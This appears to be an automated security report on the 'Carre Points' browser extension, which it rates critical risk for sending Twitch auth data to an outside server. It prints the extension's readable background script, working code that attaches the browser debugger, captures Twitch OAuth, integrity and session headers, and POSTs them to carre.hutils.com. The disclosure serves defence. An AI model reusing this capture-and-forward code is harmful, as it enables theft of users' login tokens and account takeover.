Is Carre Points safe?

Critical risk

Carre Points is critical risk. After pressing Iniciar, the extension opens a Twitch tab, attaches the browser debugger, reads auth fields from Twitch integrity/GraphQL traffic, adds your Twitch ID, and posts them to carre.hutils.com/points. No POST body was captured.

95Risk
Who publishes it

h4x - 1 other listing from the same operator, 1 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
h4x

Same store account

1 other listing published from this account, 30k+ users between them. 1 of them carries a finding.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Twitch auth headers posted to Carre Points server

After pressing Iniciar, the extension opens a Twitch tab, attaches the browser debugger, reads auth fields from Twitch integrity/GraphQL traffic, adds your Twitch ID, and posts them to carre.hutils.com/points.

No POST body was captured.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You press Iniciar in the Carre Points extension page.

The bundled page script sends a begin message to the background service worker.

The extension did this

The extension opens Twitch, reads auth-related Twitch request fields, and posts them to carre.hutils.com/points.

The source combines the recorded Twitch headers with the current Twitch user ID before sending the request.

Fields assembled before the POST to carre.hutils.com/points
  • Twitch authorization
    Authorization: OAuth 1a2b3c4d5e6f7g8h9i0j (illustrative)

    Lets the receiving service use the same Twitch login context if the token is still valid.

  • Twitch integrity token
    Client-Integrity: v4.public.integrity-token (illustrative)

    Helps Twitch decide whether requests came from a valid browser session tied to you.

  • Twitch user ID
    Twitch-Id: 914276503 (illustrative)

    Ties the uploaded fields to your Twitch account rather than only to a browser session.

  • Twitch client ID
    Client-Id: kimne78kx3ncx6brgo4mv6wki5h1ko (illustrative)

    Identifies the Twitch web client that produced the request fields.

  • Client session ID
    Client-Session-Id: 2f7b2f4d-93d7-46f5-b87e-9d2c64b0c2af (illustrative)

    Links the upload to a specific Twitch browsing session.

  • Device ID
    X-Device-Id: 9b7d1f5e81a64c7bb4d0f0a6d9342712 (illustrative)

    Lets the receiving service correlate activity from the same browser or device.

  • Client version
    Client-Version: 7f65a3e2-5b90-4a2e-9f5a-fd2f5d3c0a31 (illustrative)

    Describes the Twitch client build that produced the request.

  • Browser profile details
    User-Agent: Mozilla/5.0 Chrome/126.0.0.0; sec-ch-ua-platform: "Windows" (illustrative)

    Adds browser and platform context that can help link the request to your device.

Captured request
POSThttps://carre.hutils.com/points
Headers
Content-Type
application/json
The code that does this

The UI button starts the background capture flow

Readable version

Readable equivalent of the same handler

views/assets/index-DrmuE1uS.js
const start = () => {  loading.value = true;  error.value = false;  chrome.runtime.sendMessage({ tracer: "begin" });  timeout = setTimeout(() => {    loading.value = false;    error.value = "Tiempo de espera agotado, asegurate de estar logeado en Twitch, si el problema persiste espera unos minutos e intenta nuevamente.";  }, 15000);};
The code that does this

The background script reads Twitch traffic and forwards the fields

Readable version

Readable capture-and-forward path

background.js
const endpoint = 'https://carre.hutils.com';const postPoints = (data) => fetch(`${endpoint}/points`, {  method: 'POST',  headers: { 'Content-Type': 'application/json' },  body: JSON.stringify(data),});async begin() {  const tab = await chrome.tabs.create({ url: 'https://twitch.tv/carreraaa' });  this.currentTab = tab.id;  chrome.debugger.attach({ tabId: this.currentTab }, '1.0', () => {    this.fn = (...args) => this.onRequests(...args);    chrome.debugger.sendCommand({ tabId: this.currentTab }, 'Network.enable');    chrome.debugger.onEvent.addListener(this.fn);  });}async onRequests(debuggeeId, message, params) {  if (debuggeeId.tabId !== this.currentTab) return;  if (message === 'Network.requestWillBeSent' && params.request?.url.includes('https://gql.twitch.tv/integrity')) {    this.requests[params.requestId] = { type: 'ID', headers: params.request.headers };  }  if (message === 'Network.requestWillBeSent' && params.request?.url.includes('https://gql.twitch.tv/gql') && params.request.postData) {    const requestBody = JSON.parse(params.request.postData);    if (requestBody.length && requestBody.some((item) => item.operationName === 'UserMenuCurrentUser')) {      this.requests[params.requestId] = { type: 'GQL' };    }  }  const current = message === 'Network.responseReceived' && this.requests[params.requestId];  if (!current) return;  this.requestBody(debuggeeId.tabId, params.requestId, current, (json, currentRequest) => {    if (currentRequest.type === 'ID') {      this.headers = {        'Client-Id': currentRequest.headers['Client-Id'],        'Client-Session-Id': currentRequest.headers['Client-Session-Id'],        'Authorization': currentRequest.headers['Authorization'],        'Client-Integrity': json.token,        'Client-Version': currentRequest.headers['Client-Version'],        'X-Device-Id': currentRequest.headers['X-Device-Id'],        'User-Agent': currentRequest.headers['User-Agent'],        'sec-ch-ua': currentRequest.headers['sec-ch-ua'],        'sec-ch-ua-mobile': currentRequest.headers['sec-ch-ua-mobile'],        'sec-ch-ua-platform': currentRequest.headers['sec-ch-ua-platform'],      };    }    if (currentRequest.type === 'GQL') {      this.userId = json.find((item) => item.extensions.operationName === 'UserMenuCurrentUser')?.data.currentUser.id;    }    if (this.headers && this.userId) {      this.getUser(Object.assign(this.headers, { 'Twitch-Id': this.userId }));      chrome.debugger.detach({ tabId: this.currentTab });      chrome.debugger.onEvent.removeListener(this.fn);    }  });}async getUser(headers) {  const response = await postPoints(headers);  this.sendToHome('points', response);  chrome.tabs.remove(this.currentTab);}
Network destinations used in this flow
    • gql.twitch.tv

    Twitch GraphQL and integrity endpoints whose request and response fields are read by the extension.

    • carre.hutils.com

    Receives the assembled Twitch authorization, integrity, session, device, client, user-agent, and Twitch user ID fields.

What it can do

Permissions this extension asks for, as declared in version 0.0.90. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on kick.com

    https://*.kick.com/*

  • Read and change your data on .kick.com

    https://.kick.com/

  • Read and change your data on twitch.tv

    https://*.twitch.tv/*

  • Read and change your data on points.hutils.com

    https://points.hutils.com/*

  • See the address and title of every tab you have open

    tabs

  • Read and change cookies, including the ones that keep you signed in

    cookies

  • Store data in your browser

    storage

  • Attach to pages with the browser's debugger, which can read and rewrite anything on them

    debugger

Updated 30 September 2026lofangfedngnjpjolbdnfpdeknhmabob